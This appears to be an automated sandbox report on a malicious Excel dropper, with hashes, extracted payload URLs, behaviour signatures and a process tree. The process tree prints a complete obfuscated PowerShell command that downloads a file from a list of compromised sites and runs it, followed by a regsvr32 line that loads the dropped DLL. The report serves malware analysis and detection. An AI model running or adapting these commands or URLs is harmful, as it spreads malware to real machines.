Analysis

  • max time kernel
    33s
  • max time network
    36s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 21:40

General

  • Target

    ba1746e49a4557b56504c7ba3d6ddbcbc6a012484d50ad36bff18e41d9f9c0b5.xls

  • Size

    438KB

  • MD5

    4730e79a3698edbac2f06e439025303b

  • SHA1

    f4a45310262b429dcdbc9e6b9d801cb682be2f3c

  • SHA256

    ba1746e49a4557b56504c7ba3d6ddbcbc6a012484d50ad36bff18e41d9f9c0b5

  • SHA512

    68ac3709b741627e0f2b407104cfb81f232cb901529fbb2e5b3a7dcbd068929d93667afc1eab6cc899fe5fc84b86dccdb7ffd3156d65cafbd6962d6d265c8537

  • SSDEEP

    12288:c947a/JjsLZjXYc7X0/aXCKli04OaZ1X+Q7hFk:WurYc7E/i004OSH7hFk

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://wildmanwildfood.com/wp-admin/wxyadXKXFe/

exe.dropper

https://ashven.co.uk/wp-includes/UwBairqGXVb11tCu/

exe.dropper

https://aigenix.comartstudios.com/cgi-bin/ZZ8HCNr40H/

exe.dropper

https://fastonlineearn.com/wp-content/L/

exe.dropper

https://mbmscaffolding.co.uk/test/3j/

exe.dropper

https://ineslebuhan.com/wp-includes/7dLR8UB3RFfSHd4cZN/

exe.dropper

https://mccoygloballinks.com/cgi-bin/HvZWLrLljiRj2ck/

exe.dropper

http://lonaomer.com/wp-content/6G/

exe.dropper

https://tainformado.com.br/wp-content/0Ysot/

exe.dropper

https://nifdtb.in/wp-content/9uHo3GBgyIQ/

exe.dropper

https://sdn3sajen.stormapp.in/wp-admin/Xc6Z/

exe.dropper

https://narsanat.com/banner/TnIhz/

exe.dropper

https://vanessanascimento.com.br/auren-xbox/cDD2dfW/

exe.dropper

https://medvital.com.br/arquivos/q6ZjbPPoR7l/

exe.dropper

https://mcjalandhar.in/1950-kill/BMoLHJM4g/

exe.dropper

https://nuranabd.com/wp-content/BhYOZ2pJV5q/

exe.dropper

https://sdigitaltv.online/wp-admin/rpRCArrXjpoUXo/

exe.dropper

http://news.leta.com.vn/-/NQOY80o/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ba1746e49a4557b56504c7ba3d6ddbcbc6a012484d50ad36bff18e41d9f9c0b5.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4812
    • C:\Windows\SYSTEM32\wscript.exe
      wscript c:\programdata\etyockqw.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3564
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3068
        • \??\c:\windows\syswow64\regsvr32.exe
          c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2976

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_it1smtrj.1tr.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    3c27c6304ef775621891ed6470b1e749

    SHA1

    b8e879723db3d9bc24b1e2230724fd1600fdaa74

    SHA256

    41522debfa0aad5f0dadd64b3b6618eef77cd5c0ee9f41d666237ac2c243cb73

    SHA512

    b939f07ae944d01fdffaf5aa8aec0151d71aec8c6e30c7e08e546d669e9d90e18846c9e0515ed68582ffd519794923957680732f7f94e14774a59448847811d1

  • \??\c:\programdata\etyockqw.vbs

    Filesize

    2KB

    MD5

    a35f55cf91f2003615533b5be5948090

    SHA1

    b5b89075550e2592b69f4541cfbdf33dd8fbf175

    SHA256

    d297bdfe7fdf74ffe50cad7965843bb92cd55b44370e1b7b8ddb99cf7ab3af7c

    SHA512

    098097cd100b73f231b3c1bb3e8330a584b2b2742be8a27211ea9f9f7875c78b414341e626b5c071abc0589caf3a2ac80c99c79b952388cc96884fd33b397899

  • \??\c:\programdata\irlkhkuw.dll

    MD5

    d41d8cd98f00b204e9800998ecf8427e

    SHA1

    da39a3ee5e6b4b0d3255bfef95601890afd80709

    SHA256

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

    SHA512

    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

  • memory/3564-127-0x000001DFD16C0000-0x000001DFD1E66000-memory.dmp

    Filesize

    7.6MB

  • memory/3564-119-0x000001DFD0A20000-0x000001DFD0A42000-memory.dmp

    Filesize

    136KB

  • memory/4812-9-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-18-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-1-0x00007FFEC844D000-0x00007FFEC844E000-memory.dmp

    Filesize

    4KB

  • memory/4812-11-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-10-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-13-0x00007FFE85EA0000-0x00007FFE85EB0000-memory.dmp

    Filesize

    64KB

  • memory/4812-14-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-12-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-8-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-15-0x00007FFE85EA0000-0x00007FFE85EB0000-memory.dmp

    Filesize

    64KB

  • memory/4812-21-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-20-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-19-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-7-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

    Filesize

    64KB

  • memory/4812-17-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-16-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-40-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-5-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-6-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-0-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

    Filesize

    64KB

  • memory/4812-126-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-4-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

    Filesize

    64KB

  • memory/4812-129-0x00007FFEC844D000-0x00007FFEC844E000-memory.dmp

    Filesize

    4KB

  • memory/4812-130-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-134-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4812-2-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

    Filesize

    64KB

  • memory/4812-3-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

    Filesize

    64KB